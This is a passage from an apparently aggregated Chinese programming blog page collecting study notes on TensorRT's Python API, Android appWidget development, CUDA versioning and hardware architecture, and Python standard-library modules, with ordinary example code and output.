还提供了一组实用函数来解决开发人员可能面临的常见任务,包括NVCaffe模型解析,从流中解析UFF模型,以及从UFF文件加载和编写PLAN文件。 这些位于tensorrt.utilsPython例子:Python接口支持以前仅通过C ++接口才可用的所有功能。 这些包括: the NvCaffeParser 用于图形定义的nvinfer API 建造者创建优化的推理引擎 用于执行引擎的推理时界面 用于注册自定义层实现的调用 可以在{PYTHON_PACKAGE_DIR} / tensorrt / examples目录中找到Python示例。TensorRT软件包附带了一些示例应用程序实现。 这些可以根据您是否在系统中安装TensorRT或仅为用户来找到。Python工作流程:为以下用例提供了示例应用程序:1.有一个现有的TensorFlow™(或其他UFF兼容框架)模型,开发人员可以试用TensorRT,将TensorFlow模型转换为TensorRT2.有一个NVCaffe模型,开发人员想用TensorRT来尝试。将NVCaffe模型转换为TensorRT3.开发人员希望将TensorRT引擎部署为更大型应用程序的一部分,如Web后端。4.开发人员希望尝试使用受UFF支持且未受NVCaffe培训的框架来训练TensorRT。TensorRT感觉好强大,毕竟是对新的PasCal和VoltaGPU才有的功能。

优秀的个人博客,低调大师

appWidget 简单入门学习笔记

1,让桌面能够添加你的appWidget 1,一个类,和2个xml //一个实现AppWidgetProvider的类 publicclassTomAppWidgetProviderextends AppWidgetProvider{} <!--放在res/xml文件夹中命名为tom_appwidget_info.xml--> <appwidget-providerxmlns:android="http://schemas.android.com/apk/res/android" android:minWidth="294dp" android:minHeight="72dp" android:updatePeriodMillis="86400000" android:initialLayout="@layout/tom_appwidget" android:configure="kg.tom.AppWidgetConfigure"></appwidget-provider> <!--android:initialLayout:初始化你的appWidget布局--> <!--放置在res/layout/tom_appwidget_provider.xml--> <?xmlversion="1.0"encoding="utf-8"?> <LinearLayoutxmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="294dp" android:layout_height="72dp" android:orientation="vertical"><TextView android:id="@+id/appwidget_text" android:layout_width="wrap_content" android:layout_height="wrap_content" android:textColor="#ff000000"/><Button android:id="@+id/appwidget_button" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@android:string/ok"/> </LinearLayout> 在AndroidManifest.xml中声明你的appWidget <receiverandroid:name="TomAppWidgetProvider"> <intent-filter> <!--让系统能够设别到你的appWidgetProvider的动作--><actionandroid:name="android.appwidget.action.APPWIDGET_UPDATE"/> </intent-filter> <!--设置你的appWidget的布局--> <meta-dataandroid:name="android.appwidget.provider"android:resource="@xml/tom_appwidget_info"/> </receiver> 长按你的Home 界面,你就会看到你的widget已经在列表当中 但是,现在点击是会出错的,这时候我们需要设置我们的AppWidgetConfigure 在activity中增加一个Intent-filter <intent-filter> <!--让系统能够设别到你的appWidgetProvider的动作--> <actionandroid:name="android.appwidget.action.APPWIDGET_UPDATE"/> </intent-filter> publicclassAppWidgetConfigureextendsActivity{ @Override publicvoidonCreate(BundlesavedInstanceState){ super.onCreate(savedInstanceState); //设置widgetId intmAppWidgetId=AppWidgetManager.INVALID_APPWIDGET_ID; //1,将setResult设置为取消,用于取消widgethostsetResult(RESULT_CANCELED); //2,从Intent中找到widget的id Intentintent=getIntent(); Bundleextras=intent.getExtras(); if(extras!=null){ mAppWidgetId=extras.getInt(AppWidgetManager.EXTRA_APPWIDGET_ID,AppWidgetManager.INVALID_APPWIDGET_ID);} //3,如果获取不到appWidgetid我们就结束 if(mAppWidgetId==AppWidgetManager.INVALID_APPWIDGET_ID){ Log.d("app","获取失败退出!!!"); finish();} finalContextcontext=AppWidgetConfigure.this; //4,实例化你的appWidget AppWidgetManagerappWidgetManager=AppWidgetManager.getInstance(context); //5,更新widget IntentresultValue=newIntent();resultValue.putExtra(appWidgetManager.EXTRA_APPWIDGET_ID,mAppWidgetId); setResult(RESULT_OK,resultValue); finish();}} 2,然后写provider的代码 publicclassTomAppWidgetProviderextendsAppWidgetProvider{ @Override publicvoidonUpdate(Contextcontext,AppWidgetManagerappWidgetManager, int[]appWidgetIds){ //TODOAuto-generatedmethodstub super.onUpdate(context,appWidgetManager,appWidgetIds); finalintN=appWidgetIds.length; Log.d("app","onUpdate--->Ids==="+String.valueOf(N)); for(inti=0;i<N;i++){ intappWidgetId=appWidgetIds[i]; updateAppWidget(context,appWidgetManager,appWidgetId);}} staticvoidupdateAppWidget(Contextcontext,AppWidgetManagerappWidgetManager,intappWidgetId){ Log.d("app","update---->id"+appWidgetId); //1,widget中的的标题 CharSequencetext="这是我第一个widget"; //2,widget显示用布局,并设置text显示的值 RemoteViewsviews=newRemoteViews(context.getPackageName(),R.layout.tom_appwidget_provider);views.setTextViewText(R.id.appwidget_text,text); //3,通知widgetmanager更新appWidgetManager.updateAppWidget(appWidgetId,views);} @Override publicvoidonDeleted(Contextcontext,int[]appWidgetIds){ //TODOAuto-generatedmethodstubsuper.onDeleted(context,appWidgetIds); //删除的时候调用的方法 intappids=appWidgetIds.length; Log.d("app","onDelete--->"+appids);}} 然后就可以运行了: 顺便附上一张简单原理图:.. 2,小小的进阶为widget实现运行activity 只要在加上几行代码的appwidget 就能实现挑战到Activity的功能 1,新建一个HelloAppWidget的activity staticvoidupdateAppWidget(Contextcontext,AppWidgetManagerappWidgetManager,intappWidgetId){ Log.d("app","update---->id"+appWidgetId); //1,设置显示用标题 CharSequencetext="这是我第一个widget"; //1.1,增加跳转用activity相关intent Intentintent=newIntent(context,HelloAppWidget.class); PendingIntentpendingIntent=PendingIntent.getActivity(context,0,intent,0); //2,如果,没有在xml中声明RemoteViews布局,这里就必须要让其他布局基于RemoteViews RemoteViewsviews=newRemoteViews(context.getPackageName(),R.layout.tom_appwidget_provider);views.setTextViewText(R.id.appwidget_text,text); //2.1将需要跳转的intent绑定到appWidgetbutton中views.setOnClickPendingIntent(R.id.appwidget_button,pendingIntent); //3,通知widgetmanager更新appWidgetManager.updateAppWidget(appWidgetId,views);} 跳转到特定activity…ps:使用activity记得在AndroidManifest.xml中注册

优秀的个人博客,低调大师

CUDA学习(二十四)

版本和兼容性:在开发CUDA应用程序时,开发人员应该注意以下两个版本号:计算能力,描述计算设备的一般规格和功能(请参阅计算能力)以及描述CUDA所支持功能的CUDA驱动程序API版本 驱动程序API和运行时。驱动程序API的版本在驱动程序头文件中定义为CUDA_VERSION。 它允许开发人员检查他们的应用程序是否需要比当前安装的更新的设备驱动程序。 这一点很重要,因为驱动程序API是向后兼容的,这意味着针对特定版本的驱动程序API编译的应用程序,插件和库(包括C运行时)将继续在随后的设备驱动程序版本上工作,如图 11.驱动程序API不是向前兼容的,这意味着针对特定版本的驱动程序API编译的应用程序,插件和库(包括C运行时)将不适用于以前版本的设备驱动程序。需要注意的是,受支持的版本的混合和匹配有一些限制: 由于在系统上一次只能安装一个版本的CUDA驱动程序,因此安装的驱动程序必须与驱动程序,插件或必须运行的库的最大驱动程序API版本相同或更高 该系统已建成。 应用程序使用的所有插件和库必须使用相同版本的CUDA Runtime,除非它们静态链接到Runtime,在这种情况下,多个版本的运行时可以共存于同一个进程空间中。 请注意,如果使用nvcc链接应用程序,默认情况下将使用CUDA运行时库的静态版本,并且所有CUDA Toolkit库都静态链接到CUDA运行时。 除非静态链接到这些库,否则应用程序使用的所有插件和库都必须使用与运行库相同版本的库(如cuFFT,cuBLAS等)。 计算模式:在运行Windows Server 2008及更高版本或Linux的Tesla解决方案中,可以使用NVIDIA的系统管理界面(nvidia-smi)在以下三种模式之一中设置系统中的任何设备,该系统是作为驱动程序的一部分分发的工具: 默认计算模式:多个主机线程可以使用该设备(通过在此设备上调用cudaSetDevice(),使用运行时API或在使用驱动程序API时使当前与设备关联的上下文相同) 独占进程计算模式:在系统中的所有进程上,设备上只能创建一个CUDA上下文,并且该上下文可以在创建该上下文的进程内按照期望的那样多个线程。 独占进程和线程计算模式:系统中的所有进程只能在设备上创建一个CUDA上下文,并且该上下文一次只能在一个线程上运行。 禁止的计算模式:设备上不能创建CUDA上下文。 这意味着,特别是,如果设备0变成独占进程模式并被另一进程使用,则使用运行时API而不显式调用cudaSetDevice()的主机线程可能与设备0以外的设备相关联, 在独占进程和线程模式下,由另一个线程使用,或在禁止模式下使用。 cudaSetValidDevices()可用于从优先级列表中设置设备。还要注意的是,对于具有Pascal架构的设备(计算能力主版本号6和更高版本),支持计算抢占。 这使得计算任务可以在指令级别上被抢占,而不像以前的Maxwell和Kepler GPU架构那样具有线程块粒度,其优点是可以防止长时间运行的内核的应用程序垄断系统或超时。 但是,会出现与计算抢占相关的上下文切换开销,这些开销会在支持存在的那些设备上自动启用。 可以使用具有属性cudaDevAttrComputePreemptionSupported的单个属性查询函数cudaDeviceGetAttribute()来确定正在使用的设备是否支持计算抢占。 希望避免与不同进程相关联的上下文切换开销的用户可以通过选择独占进程模式来确保GPU上只有一个进程是活动的。应用程序可以通过检查computeMode设备属性来查询设备的计算模式(请参阅设备枚举)。模式开关:具有显示输出的GPU将一些DRAM存储器专用于所谓的主表面,其用于刷新其输出被用户查看的显示设备。 当用户通过更改显示器的分辨率或位深度(使用NVIDIA控制面板或Windows上的显示控制面板)来启动显示器的模式切换时,主表面所需的内存量会发生变化。 例如,如果用户将显示分辨率从1280x1024x32位更改为1600x1200x32位,则系统必须将7.68 MB专用于主表面,而不是5.24 MB。 (启用消除锯齿的全屏图形应用程序可能需要更多显示内存用于主表面)。在Windows上,可能启动显示模式切换的其他事件包括启动全屏DirectX应用程序,按Alt + Tab以执行任务 从全屏DirectX应用程序切换,或按Ctrl + Alt + Del锁定计算机。如果模式切换增加主表面所需的内存量,则系统可能不得不分配专用于CUDA应用程序的内存分配。 因此,模式切换会导致对CUDA运行时的任何调用失败并返回无效的上下文错误。用于Windows的Tesla计算集群模式:使用NVIDIA的系统管理界面(nvidia-smi),可以将Windows设备驱动程序置于TCC(Tesla Compute Cluster,特斯拉计算集群)模式,用于计算能力为2.0或更高的Tesla和Quadro系列设备。该模式具有以下主要优点: 它可以在非NVIDIA集成显卡的集群节点中使用这些GPU; 它使这些GPU可以通过远程桌面直接使用,也可以通过依赖远程桌面的集群管理系统来使用; 它使这些GPU可用于作为Windows服务运行的应用程序(即在会话0中) 但是,TCC模式不支持任何图形功能

优秀的个人博客,低调大师

CUDA学习(二十五)

硬件实施(HARDWARE IMPLEMENTATION):NVIDIA GPU架构是围绕可扩展的多线程流处理器(SM)阵列构建的。 当主机CPU上的CUDA程序调用内核网格时,网格块被枚举并分配给具有可用执行能力的多处理器。 一个线程块的线程在一个多处理器上同时执行,多个线程块可以在一个多处理器上同时执行。 当线程块终止时,在空闲的多处理器上启动新的块。多处理器被设计为同时执行数百个线程。 为了管理如此大量的线程,它采用了SIMT架构中描述的称为SIMT(单指令,多线程)的独特架构。 这些指令被流水线化以利用单个线程内的指令级并行性,以及通过硬件多线程中详细描述的同时硬件多线程广泛地实现线程级并行性。 与CPU内核不同,它们是按顺序发布的,没有分支预测,也没有推测性执行。SIMT体系结构和硬件多线程描述了所有设备共有的流式多处理器的体系结构特征。 计算能力3.x,计算能力5.x,计算能力6.x和计算能力7.x分别为计算能力3.x,5.x,6.x和7.x的设备提供具体信息。SIMT架构:多处理器创建,管理,调度和执行32个并行线程组的线程,称为warps。 单独的线程在同一个程序地址上组成一个warp起始点,但是它们有自己的指令地址计数器和寄存器状态,因此可以自由地分支和独立执行。 术语warp起源于编织,第一个平行螺纹技术。 半经线是经线的前半部分或后半部分。 四分之一翘曲是经线的第一,二,三或四分之一。当一个多处理器被赋予一个或多个线程块执行时,它将它们分成warp,每个warp被warp调度器调度执行。 块被划分成扭曲的方式总是相同的; 每个warp包含连续的,增加线程ID的线程,第一个warp包含线程0. ThreadHierarchy描述线程ID如何与块中的线程索引相关。一个warp一次执行一个共同的指令,所以当一个warp的所有32个线程都同意它们的执行路径时,就可以实现完全的效率。 如果warp的线程通过依赖于数据的条件分支发散,则warp执行每个分支路径,禁用不在该路径上的线程。 分支发散只发生在经线内; 不同的warps独立执行,不管它们是执行共同的还是不相交的代码路径。SIMT体系结构类似于SIMD(单指令多数据)矢量组织,因为单指令控制多个处理单元。一个关键的区别是SIMD向量组织将SIMD宽度暴露给软件,而SIMT指令指定单个线程的执行和分支行为。与SIMD向量机相反,SIMT使程序员能够为独立标量线程编写线程级并行代码,并为协调线程编写数据并行代码。为了正确,程序员可以基本上忽略SIMT行为;然而,通过注意代码很少要求变形中的线程发散,可以实现显着的性能改进。实际上,这与传统代码中缓存行的作用类似:在设计正确性时,可以安全地忽略缓存行大小,但在设计峰值性能时必须考虑代码结构。另一方面,矢量架构需要软件将负载合并到矢量中,并手动管理差异。

优秀的个人博客,低调大师

python标准库学习7

使用 os.path 模块处理文件名 import os filename = "my/little/pony" print "using", os.name, "..." print "split", "=>", os.path.split(filename) print "splitext", "=>", os.path.splitext(filename) print "dirname", "=>", os.path.dirname(filename) print "basename", "=>", os.path.basename(filename) print "join", "=>", os.path.join(os.path.dirname(filename), os.path.basename(filename)) using nt ... split => ('my/little', 'pony') splitext => ('my/little/pony', '') dirname => my/little basename => pony join => my/little\pony 当前目录和上一级目录 >>> os.pardir '..' >>> os.curdir '.' 使用 os.path 模块检查文件名的特征 import os FILES = ( os.curdir, "/", "file", "/file", "samples", "samples/sample.jpg", "directory/file", "../directory/file", "/directory/file" ) for file in FILES: print file, "=>", if os.path.exists(file): print "EXISTS", if os.path.isabs(file): print "ISABS", if os.path.isdir(file): print "ISDIR", if os.path.isfile(file): print "ISFILE", if os.path.islink(file): print "ISLINK", if os.path.ismount(file): print "ISMOUNT", print . => EXISTS ISDIR / => EXISTS ISABS ISDIR ISMOUNT file => /file => ISABS samples => EXISTS ISDIR samples/sample.jpg => EXISTS ISFILE directory/file => ../directory/file => /directory/file => ISABS expanduser函数以与大部分Unix shell相同的方式处理用户名快捷符号(~, 不过在 Windows 下工作不正常), 使用 os.path 模块将用户名插入到文件名 import os print os.path.expanduser("~/.pythonrc") # /home/effbot/.pythonrc expandvars函数将文件名中的环境变量替换为对应值 使用 os.path 替换文件名中的环境变量 import os os.environ["USER"] = "user" print os.path.expandvars("/home/$USER/config") print os.path.expandvars("$USER/folders") /home/user/config user/folders 列出目录下所有的文件和目录 >>> a=[file for file in os.listdir("d:\\new")] >>> for i in a: print i walk函数会帮你找出一个目录树下的所有文件. 它的参数依次是目录名, 回调函数, 以及传递给回调函数的数据对象. 使用 os.path 搜索文件系统 import os def callback(arg, directory, files): for file in files: print os.path.join(directory, file), repr(arg) os.path.walk(".", callback, "secret message") ./aifc-example-1.py 'secret message' ./anydbm-example-1.py 'secret message' ./array-example-1.py 'secret message' ... ./samples 'secret message' ./samples/sample.jpg 'secret message' ./samples/sample.txt 'secret message' ./samples/sample.zip 'secret message' ./samples/articles 'secret message' ./samples/articles/article-1.txt 'secret message' ./samples/articles/article-2.txt 'secret message' ... index函数会返回一个文件名列表, 你可以直接使用for-in循环处理文件. 使用 os.listdir 搜索文件系统 import os def index(directory): # like os.listdir, but traverses directory trees stack = [directory] files = [] while stack: directory = stack.pop() for file in os.listdir(directory): fullname = os.path.join(directory, file) files.append(fullname) if os.path.isdir(fullname) and not os.path.islink(fullname): stack.append(fullname) return files for file in index("."): print file .\aifc-example-1.py .\anydbm-example-1.py .\array-example-1.py ... 一次返回一个文件 import os class DirectoryWalker: # a forward iterator that traverses a directory tree def _ _init_ _(self, directory): self.stack = [directory] self.files = [] self.index = 0 def _ _getitem_ _(self, index): while 1: try: file = self.files[self.index] self.index = self.index + 1 except IndexError: # pop next directory from stack self.directory = self.stack.pop() self.files = os.listdir(self.directory) self.index = 0 else: # got a filename fullname = os.path.join(self.directory, file) if os.path.isdir(fullname) and not os.path.islink(fullname): self.stack.append(fullname) return fullname for file in DirectoryWalker("."): print file .\aifc-example-1.py .\anydbm-example-1.py .\array-example-1.py ... 注意DirectoryWalker类并不检查传递给_ _getitem_ _方法的索引值. 这意味着如果你越界访问序列成员(索引数字过大)的话, 这个类将不能正常工作. 下面这个例子它返回文件名和它的os.stat属性(一个元组). 这个版本在每个文件上都能节省一次或两次stat调用(os.path.isdir和os.path.islink内部都使用了stat), 并且在一些平台上运行很快. 使用 DirectoryStatWalker 搜索文件系统 import os, stat class DirectoryStatWalker: # a forward iterator that traverses a directory tree, and # returns the filename and additional file information def _ _init_ _(self, directory): self.stack = [directory] self.files = [] self.index = 0 def _ _getitem_ _(self, index): while 1: try: file = self.files[self.index] self.index = self.index + 1 except IndexError: # pop next directory from stack self.directory = self.stack.pop() self.files = os.listdir(self.directory) self.index = 0 else: # got a filename fullname = os.path.join(self.directory, file) st = os.stat(fullname) mode = st[stat.ST_MODE] if stat.S_ISDIR(mode) and not stat.S_ISLNK(mode): self.stack.append(fullname) return fullname, st for file, st in DirectoryStatWalker("."): print file, st[stat.ST_SIZE] .\aifc-example-1.py 336 .\anydbm-example-1.py 244 .\array-example-1.py 526 Using the stat Module import stat import os, time st = os.stat("samples/sample.txt") print "mode", "=>", oct(stat.S_IMODE(st[stat.ST_MODE])) print "type", "=>", if stat.S_ISDIR(st[stat.ST_MODE]): print "DIRECTORY", if stat.S_ISREG(st[stat.ST_MODE]): print "REGULAR", if stat.S_ISLNK(st[stat.ST_MODE]): print "LINK", print print "size", "=>", st[stat.ST_SIZE] print "last accessed", "=>", time.ctime(st[stat.ST_ATIME]) print "last modified", "=>", time.ctime(st[stat.ST_MTIME]) print "inode changed", "=>", time.ctime(st[stat.ST_CTIME]) mode => 0664 type => REGULAR size => 305 last accessed => Sun Oct 10 22:12:30 1999 last modified => Sun Oct 10 18:39:37 1999 inode changed => Sun Oct 10 15:26:38 1999 使用 string 模块 import string text = "Monty Python's Flying Circus" print "upper", "=>", string.upper(text) print "lower", "=>", string.lower(text) print "split", "=>", string.split(text) print "join", "=>", string.join(string.split(text), "+") print "replace", "=>", string.replace(text, "Python", "Java") print "find", "=>", string.find(text, "Python"), string.find(text, "Java") print "count", "=>", string.count(text, "n") upper => MONTY PYTHON'S FLYING CIRCUS lower => monty python's flying circus split => ['Monty', "Python's", 'Flying', 'Circus'] join => Monty+Python's+Flying+Circus replace => Monty Java's Flying Circus find => 6 -1 count => 3 使用字符串方法替代 string 模块函数 text = "Monty Python's Flying Circus" print "upper", "=>", text.upper() print "lower", "=>", text.lower() print "split", "=>", text.split() print "join", "=>", "+".join(text.split()) print "replace", "=>", text.replace("Python", "Perl") print "find", "=>", text.find("Python"), text.find("Perl") print "count", "=>", text.count("n") upper => MONTY PYTHON'S FLYING CIRCUS lower => monty python's flying circus split => ['Monty', "Python's", 'Flying', 'Circus'] join => Monty+Python's+Flying+Circus replace => Monty Perl's Flying Circus find => 6 -1 count => 3 使用 string 模块将字符串转为数字 import string print int("4711"), print string.atoi("4711"), print string.atoi("11147", 8), # octal 八进制 print string.atoi("1267", 16), # hexadecimal 十六进制 print string.atoi("3mv", 36) # whatever... print string.atoi("4711", 0), print string.atoi("04711", 0), print string.atoi("0x4711", 0) print float("4711"), print string.atof("1"), print string.atof("1.23e5") 4711 4711 4711 4711 4711 4711 2505 18193 4711.0 1.0 123000.0 operator模块为 Python 提供了一个 "功能性" 的标准操作符接口. 当使用map以及filter一类的函数的时候,operator模块中的函数可以替换一些lambda函式. 而且这些函数在一些喜欢写晦涩代码的程序员中很流行. 使用 operator 模块 print "add", "=>", reduce(operator.add, sequence) print "sub", "=>", reduce(operator.sub, sequence) print "mul", "=>", reduce(operator.mul, sequence) print "concat", "=>", operator.concat("spam", "egg") print "repeat", "=>", operator.repeat("spam", 5) print "getitem", "=>", operator.getitem(sequence, 2) print "indexOf", "=>", operator.indexOf(sequence, 2) print "sequenceIncludes", "=>", operator.sequenceIncludes(sequence, 3) add => 7 sub => -5 mul => 8 concat => spamegg repeat => spamspamspamspamspam getitem => 4 indexOf => 1 sequenceIncludes => 0 使用 operator 模块检查类型 import operator import UserList def dump(data): print type(data), "=>", if operator.isCallable(data): print "CALLABLE", if operator.isMappingType(data): print "MAPPING", if operator.isNumberType(data): print "NUMBER", if operator.isSequenceType(data): print "SEQUENCE", print dump(0) dump("string") dump("string"[0]) dump([1, 2, 3]) dump((1, 2, 3)) dump({"a": 1}) dump(len) # function 函数 dump(UserList) # module 模块 dump(UserList.UserList) # class 类 dump(UserList.UserList()) # instance 实例 <type 'int'> => NUMBER <type 'string'> => SEQUENCE <type 'string'> => SEQUENCE <type 'list'> => SEQUENCE <type 'tuple'> => SEQUENCE <type 'dictionary'> => MAPPING <type 'builtin_function_or_method'> => CALLABLE <type 'module'> => <type 'class'> => CALLABLE <type 'instance'> => MAPPING NUMBER SEQUENCE copy模块包含两个函数, 用来拷贝对象 使用 copy 模块复制对象 import copy a = [[1],[2],[3]] b = copy.copy(a) print "before", "=>" print a print b # modify original a[0][0] = 0 a[1] = None print "after", "=>" print a print b before => [[1], [2], [3]] [[1], [2], [3]] after => [[0], None, [3]] [[0], [2], [3]] 使用 copy 模块复制集合(Collections) import copy a = [[1],[2],[3]] b = copy.deepcopy(a) print "before", "=>" print a print b # modify original a[0][0] = 0 a[1] = None print "after", "=>" print a print b before => [[1], [2], [3]] [[1], [2], [3]] after => [[0], None, [3]] [[1], [2], [3]] 使用sys模块获得脚本的参数 import sys print "script name is", sys.argv[0] if len(sys.argv) > 1: print "there are", len(sys.argv)-1, "arguments:" for arg in sys.argv[1:]: print arg else: print "there are no arguments!" script name is sys-argv-example-1.py there are no arguments! 使用sys模块操作模块搜索路径 import sys print "path has", len(sys.path), "members" # add the sample directory to the path sys.path.insert(0, "samples") import sample # nuke the path sys.path = [] import random # oops! path has 7 members this is the sample module! Traceback (innermost last): File "sys-path-example-1.py", line 11, in ? import random # oops! ImportError: No module named random 使用sys模块查找内建模块 import sys def dump(module): print module, "=>", if module in sys.builtin_module_names: print "<BUILTIN>" else: module = _ _import_ _(module) print module._ _file_ _ dump("os") dump("sys") dump("string") dump("strop") dump("zlib") os => C:\python\lib\os.pyc sys => <BUILTIN> string => C:\python\lib\string.pyc strop => <BUILTIN> zlib => C:\python\zlib.pyd 使用sys模块查找已导入的模块 modules字典包含所有加载的模块.import语句在从磁盘导入内容之前会先检查这个字典. import sys print sys.modules.keys() ['os.path', 'os', 'exceptions', '_ _main_ _', 'ntpath', 'strop', 'nt', 'sys', '_ _builtin_ _', 'site', 'signal', 'UserDict', 'string', 'stat'] getrefcount函数返回给定对象的引用记数 - 也就是这个对象使用次数. Python 会跟踪这个值, 当它减少为0的时候, 就销毁这个对象. 使用sys模块获得引用记数 import sys variable = 1234 print sys.getrefcount(0) print sys.getrefcount(variable) print sys.getrefcount(None) 50 3 192 注意这个值总是比实际的数量大, 因为该函数本身在确定这个值的时候依赖这个对象 使用sys模块获得当前平台 import sys # # emulate "import os.path" (sort of)... if sys.platform == "win32": import ntpath pathmodule = ntpath elif sys.platform == "mac": import macpath pathmodule = macpath else: # assume it's a posix platform import posixpath pathmodule = posixpath print pathmodule setprofiler函数允许你配置一个分析函数(profiling function). 这个函数会在每次调用某个函数或方法时被调用(明确或隐含的), 或是遇到异常的时候被调用. 使用sys模块配置分析函数 import sys def test(n): j = 0 for i in range(n): j = j + i return n def profiler(frame, event, arg): print event, frame.f_code.co_name, frame.f_lineno, "->", arg # profiler is activated on the next call, return, or exception # 分析函数将在下次函数调用, 返回, 或异常时激活 sys.setprofile(profiler) # profile this function call # 分析这次函数调用 test(1) # disable profiler # 禁用分析函数 sys.setprofile(None) # don't profile this call # 不会分析这次函数调用 test(2) call test 3 -> None return test 7 -> 1 使用sys模块配置单步跟踪函数 import sys def test(n): j = 0 for i in range(n): j = j + i return n def tracer(frame, event, arg): print event, frame.f_code.co_name, frame.f_lineno, "->", arg return tracer # tracer is activated on the next call, return, or exception # 跟踪器将在下次函数调用, 返回, 或异常时激活 sys.settrace(tracer) # trace this function call # 跟踪这次函数调用 test(1) # disable tracing # 禁用跟踪器 sys.settrace(None) # don't trace this call # 不会跟踪这次函数调用 test(2) call test 3 -> None line test 3 -> None line test 4 -> None line test 5 -> None line test 5 -> None line test 6 -> None line test 5 -> None line test 7 -> None return test 7 -> 1 ============================================================================== 本文转自被遗忘的博客园博客,原文链接:http://www.cnblogs.com/rollenholt/archive/2011/11/26/2264682.html,如需转载请自行联系原作者

优秀的个人博客,低调大师

python标准库学习8

使用sys重定向输出 import sys import string class Redirect: def _ _init_ _( self , stdout): self .stdout = stdout def write( self , s): self .stdout.write(string.lower(s)) # redirect standard output (including the print statement) # 重定向标准输出(包括print语句) old_stdout = sys.stdout sys.stdout = Redirect(sys.stdout) print "HEJA SVERIGE" , print "FRISKT HUM\303\226R" # restore standard output # 恢复标准输出 sys.stdout = old_stdout print "M\303\205\303\205\303\205\303\205L!" heja sverige friskt hum\ 303 \ 266r M\ 303 \ 205 \ 303 \ 205 \ 303 \ 205 \ 303 \ 205L ! 使用sys模块退出程序 import sys print "hello" sys.exit( 1 ) print "there" hello 注意sys.exit并不是立即退出. 而是引发一个SystemExit异常. 这意味着你可以在主程序中捕获对sys.exit的调用 捕获sys.exit调用 import sys print "hello" try : sys.exit( 1 ) except SystemExit: pass print "there" hello there 如果准备在退出前自己清理一些东西(比如删除临时文件), 你可以配置一个 "退出处理函数"(exit handler), 它将在程序退出的时候自动被调用 另一种捕获sys.exit调用的方法 import sys def exitfunc(): print "world" sys.exitfunc = exitfunc print "hello" sys.exit( 1 ) print "there" # never printed # 不会被 print hello world 在 Python 2.0 以后, 你可以使用atexit模块来注册多个退出处理函数. atexit模块允许你注册一个或多个终止函数(暂且这么叫), 这些函数将在解释器终止前被自动调用. 调用register函数, 便可以将函数注册为终止函数,你也可以添加更多的参数, 这些将作为exit函数的参数传递. 使用 atexit 模块 import atexit def exit( * args): print "exit" , args # register two exit handler atexit.register(exit) atexit.register(exit, 1 ) atexit.register(exit, "hello" , "world" ) exit ( 'hello' , 'world' ) exit ( 1 ,) exit () time模块提供了一些处理日期和一天内时间的函数. 它是建立在 C 运行时库的简单封装. 给定的日期和时间可以被表示为浮点型(从参考时间, 通常是 1970.1.1 到现在经过的秒数. 即 Unix 格式), 或者一个表示时间的 struct (类元组). 使用 time 模块获取当前时间 import time now = time.time() print now, "seconds since" , time.gmtime( 0 )[: 6 ] print print "or in other words:" print "- local time:" , time.localtime(now) print "- utc:" , time.gmtime(now) 937758359.77 seconds since ( 1970 , 1 , 1 , 0 , 0 , 0 ) or in other words: - local time: ( 1999 , 9 , 19 , 18 , 25 , 59 , 6 , 262 , 1 ) - utc: ( 1999 , 9 , 19 , 16 , 25 , 59 , 6 , 262 , 0 ) 使用 time 模块格式化时间输出 import time now = time.localtime(time.time()) print time.asctime(now) print time.strftime( "%y/%m/%d %H:%M" , now) print time.strftime( "%a %b %d" , now) print time.strftime( "%c" , now) print time.strftime( "%I %p" , now) print time.strftime( "%Y-%m-%d %H:%M:%S %Z" , now) # do it by hand... year, month, day, hour, minute, second, weekday, yearday, daylight = now print "%04d-%02d-%02d" % (year, month, day) print "%02d:%02d:%02d" % (hour, minute, second) print ( "MON" , "TUE" , "WED" , "THU" , "FRI" , "SAT" , "SUN" )[weekday], yearday Sun Oct 10 21 : 39 : 24 1999 99 / 10 / 10 21 : 39 Sun Oct 10 Sun Oct 10 21 : 39 : 24 1999 09 PM 1999 - 10 - 10 21 : 39 : 24 CEST 1999 - 10 - 10 21 : 39 : 24 SUN 283 在一些平台上,time模块包含了strptime函数, 它的作用与strftime相反. 给定一个字符串和模式, 它返回相应的时间对象 使用 time.strptime 函数解析时间 import time # make sure we have a strptime function! # 确认有函数 strptime try : strptime = time.strptime except AttributeError: from strptime import strptime print strptime( "31 Nov 00" , "%d %b %y" ) print strptime( "1 Jan 70 1:30pm" , "%d %b %y %I:%M%p" ) strptime 不完全实现 import re import string MONTHS = [ "Jan" , "Feb" , "Mar" , "Apr" , "May" , "Jun" , "Jul" , "Aug" , "Sep" , "Oct" , "Nov" , "Dec" ] SPEC = { # map formatting code to a regular expression fragment "%a" : "(?P<weekday>[a-z]+)" , "%A" : "(?P<weekday>[a-z]+)" , "%b" : "(?P<month>[a-z]+)" , "%B" : "(?P<month>[a-z]+)" , "%C" : "(?P<century>\d\d?)" , "%d" : "(?P<day>\d\d?)" , "%D" : "(?P<month>\d\d?)/(?P<day>\d\d?)/(?P<year>\d\d)" , "%e" : "(?P<day>\d\d?)" , "%h" : "(?P<month>[a-z]+)" , "%H" : "(?P<hour>\d\d?)" , "%I" : "(?P<hour12>\d\d?)" , "%j" : "(?P<yearday>\d\d?\d?)" , "%m" : "(?P<month>\d\d?)" , "%M" : "(?P<minute>\d\d?)" , "%p" : "(?P<ampm12>am|pm)" , "%R" : "(?P<hour>\d\d?):(?P<minute>\d\d?)" , "%S" : "(?P<second>\d\d?)" , "%T" : "(?P<hour>\d\d?):(?P<minute>\d\d?):(?P<second>\d\d?)" , "%U" : "(?P<week>\d\d)" , "%w" : "(?P<weekday>\d)" , "%W" : "(?P<weekday>\d\d)" , "%y" : "(?P<year>\d\d)" , "%Y" : "(?P<year>\d\d\d\d)" , "%%" : "%" } class TimeParser: def _ _init_ _( self , format ): # convert strptime format string to regular expression format = string.join(re.split( "(?:\s|%t|%n)+" , format )) pattern = [] try : for spec in re.findall( "%\w|%%|." , format ): if spec[ 0 ] = = "%" : spec = SPEC[spec] pattern.append(spec) except KeyError: raise ValueError, "unknown specificer: %s" % spec self .pattern = re. compile ( "(?i)" + string.join(pattern, "")) def match( self , daytime): # match time string match = self .pattern.match(daytime) if not match: raise ValueError, "format mismatch" get = match.groupdict().get tm = [ 0 ] * 9 # extract date elements y = get( "year" ) if y: y = int (y) if y < 68 : y = 2000 + y elif y < 100 : y = 1900 + y tm[ 0 ] = y m = get( "month" ) if m: if m in MONTHS: m = MONTHS.index(m) + 1 tm[ 1 ] = int (m) d = get( "day" ) if d: tm[ 2 ] = int (d) # extract time elements h = get( "hour" ) if h: tm[ 3 ] = int (h) else : h = get( "hour12" ) if 